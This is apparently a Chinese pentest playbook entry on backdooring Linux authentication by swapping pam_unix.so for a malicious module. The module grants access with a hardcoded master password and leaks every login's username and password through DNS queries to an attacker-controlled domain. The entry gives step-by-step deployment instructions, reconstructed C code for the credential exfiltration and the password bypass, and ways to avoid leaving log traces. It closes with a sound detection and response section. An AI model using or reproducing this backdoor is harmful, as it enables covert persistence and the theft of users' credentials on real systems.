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替换 pam_unix.so 的 PAM 后门:万能口令 + 登录凭据 DNS 外带

pentest/persistence · verified

一句话结论

拿到 root 后,用同架构、同发行版 PAM 构建的恶意 pam_unix.so 替换 /usr/lib/x86_64-linux-gnu/security/pam_unix.so,即可在 pam_sm_authenticate 中植入硬编码万能口令(文中为 XJ@123),并在每次认证时把用户名/密码拼进 DNS 查询外带到攻击者的 dnslog 域名(文中为 c0ee2ad2d8.ipv6.xxx.eu.org.),实现长期登录维持与凭据窃取。

原理

  • Linux 的登录、su、sudo、sshd 等认证入口都会经过 PAM;pam_unix.so 是其中负责本地账户口令校验的核心模块。PAM 在每次认证时由 libpam 按 /etc/pam.d/* 配置动态加载共享库,因此替换这个 .so 后,后续所有走 pam_unix 的认证都会加载恶意代码。
  • 恶意模块在 pam_sm_authenticate 中先调用 pam_get_user / pam_get_authtok 取得用户名和明文口令,再做两件事:
  • 凭据外带:文中 IDA 伪代码显示用 sprintf(s, ..., "%s.%s c0ee2ad2d8.ipv6.xxx.eu.org.", user, pass) 拼出查询名,在 fork() 出的子进程里调用 ngethostbyname(s, 1) 发起 DNS 解析。用户名和口令因此出现在 DNS 查询的子域中,攻击者只需查看自己的权威 DNS/dnslog 日志即可收取凭据;fork 保证解析不会阻塞登录流程。
  • 硬编码口令旁路:同一函数中出现 strcmp("XJ@123", v16) 的比较和 pam_syslog(..., "bad username [%s]") 分支,对应题目中“后门密码 XJ@123”的答案。反编译控制流以样本为准,但核心是模块在正常 unix_verify_password 之外增加了攻击者可控的特殊口令处理路径,使攻击者能用固定口令登录任意账户。
  • 为什么选 PAM 而不是改 /etc/shadow:PAM 模块被 sshd、login、su、sudo 等特权进程加载,能在认证发生时拿到明文口令;同时它是系统包的一部分,文件位置和名称都不显眼,且重启后仍生效。
  • 为什么能外带:DNS 通常被放行(甚至被用于内网解析),而 HTTP/HTTPS 出站常被防火墙限制;把数据编码进查询名即可穿出,且不需要目标主动建立 TCP 连接。文中靶机为 Debian GNU/Linux 10 (buster),模块路径与 ABI 也按该发行版匹配。

触发条件

  • 已获得 root 或对 /usr/lib/<arch>-linux-gnu/security/pam_unix.so 的写权限(通常通过 WebShell、SUID、提权漏洞或容器逃逸获得)。
  • 目标使用 PAM 认证(Debian/Ubuntu/RHEL 等主流 Linux 默认如此),且攻击者能替换与发行版/架构匹配的 pam_unix.so(ABI 不一致会导致认证失败)。
  • 目标允许出站 DNS(至少能向攻击者控制的权威服务器发起递归查询);若 DNS 被完全阻断,凭据外带失败,但硬编码口令旁路仍可能生效。
  • 需要触发一次认证(SSH 登录、su、sudo、本地登录)来激活恶意模块并产生外带流量。

利用步骤

  1. 通过 WebShell 的文件上传功能把恶意 ELF 共享库上传到 /tmp/pam_unix.so(文中 Godzilla 流量的 fileName=/tmp/pam_unix.so 即此步)。
  2. 备份原始模块并核对目标路径:find / -name 'pam_unix.so' 2>/dev/null,常见为 /usr/lib/x86_64-linux-gnu/security/pam_unix.so;用 dpkg -S / rpm -qf 确认归属包。
  3. 用同发行版、同架构的 PAM 源码或二进制补丁构建恶意模块,保证导出符号(pam_sm_authenticate、pam_sm_setcred、pam_sm_chauthtok 等)和依赖库与原模块一致。
  4. 覆盖目标模块,保持 root:root 与 0644 权限;cp -a 保留时间戳可进一步降低文件时间异常(但无法伪造包校验和)。
  5. 触发认证:用任意账户配合硬编码口令登录;同时观察攻击者 dnslog/权威 DNS 是否收到 <user>.<pass>.c0ee2ad2d8.ipv6.xxx.eu.org 形式的查询。
  6. 若需要持续收取凭据,保持 dnslog 域名有效,并定期从 DNS 日志还原用户名/口令;结合 SSH 登录日志确认哪些账户被使用。

PoC

文章给出的是 IDA 反编译片段,不是完整可编译源码;下面按伪代码还原关键逻辑,仅用于说明:

/* 依据文中 pam_sm_authenticate 伪代码整理,非完整 PoC */
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    const char *user = NULL, *pass = NULL;
    pam_get_user(pamh, &user, NULL);
    pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);   /* 取明文口令 */

    char q[128];
    /* 文中反编译显示格式串为 "%s.%s c0ee2ad2d8.ipv6.xxx.eu.org.",分隔符以样本二进制为准 */
    snprintf(q, sizeof(q), "%s.%s c0ee2ad2d8.ipv6.xxx.eu.org.", user, pass);
    if (fork() == 0) {                                  /* 不阻塞登录 */
        ngethostbyname(q, 1);                           /* DNS 外带 */
        _exit(0);
    }
    if (strcmp("XJ@123", pass) == 0)                    /* 硬编码旁路(示意) */
        return PAM_SUCCESS;
    return unix_verify_password(pamh, user, pass, NULL);
}

真实利用需基于目标发行版的 PAM 源码打补丁并编译,文中样本还保留了 unix_verify_password 调用与 pam_set_data("unix_setcred_return", ...) 等正常流程。

变体与关联

  • 变体:不替换 pam_unix.so,而是替换 pam_exec.so、pam_auth.so 等被其他服务引用的模块;或在 /etc/pam.d/ 中插入自定义模块(需要 root 写权限)。
  • 变体:外带通道可改为 ICMP、HTTP、DNS TXT 记录;DNS 方式最隐蔽,因为查询名本身就是数据。
  • 变体:只植入硬编码口令、不写日志(或清空 pam_syslog),避免在 auth.log 留下失败记录;文中样本仍会 pam_syslog,属于较粗糙的实现。
  • 关联:[[pentest-persistence-linux-passwd-uid0-hidden-user]](不改模块、直接加 UID 0 账户的持久化)、[[pentest-persistence-linux-hosts-allow-spawn-reverse-shell]](同场景中另一条配置型后门)、[[pentest-persistence-linux-sshd-authorizedkeysfile-hidden-key]](SSH 公钥持久化)。
  • 边界:目标使用非 glibc PAM(musl/Alpine)、模块 ABI 不匹配、/usr/lib/security 只读挂载、SELinux/AppArmor 限制、出站 DNS 被阻断时,链路会失效或只剩本地口令旁路。

检测与防御

  • 完整性校验:dpkg -V libpam-modules、debsums -c、rpm -V pam;对比 pam_unix.so 的包内 SHA256 与磁盘文件,发现不一致立即告警。
  • 文件异常:pam_unix.so 体积异常(文中为 216 KB,正常通常约十几 KB)、mtime 与包安装时间不符、strings 中出现攻击者域名或硬编码口令、readelf -d 出现非标准依赖。
  • 认证日志:auth.log 中出现同一账户的异常成功登录、pam_syslog 的 “bad username” 与正常登录并存;结合 DNS 日志查找 <user>.<pass>.<domain> 形式的查询。
  • DNS 检测:对超长、随机、包含用户名/口令样式标签的查询名告警;限制内网 DNS 对未知域名的递归解析,部署 DNS sinkhole 并记录全部查询。
  • 主机加固:启用 AIDE/auditd 监控 /usr/lib/*/security/ 与 /etc/pam.d/;使用不可变属性保护关键模块;最小化 root 权限;定期从可信介质重装 PAM 包。
  • 响应:恢复原始 pam_unix.so(或重装 libpam-modules)、轮换所有可能泄露的账户口令/密钥、排查同一入口的其他持久化(hosts.allow、authorized_keys、cron、systemd)。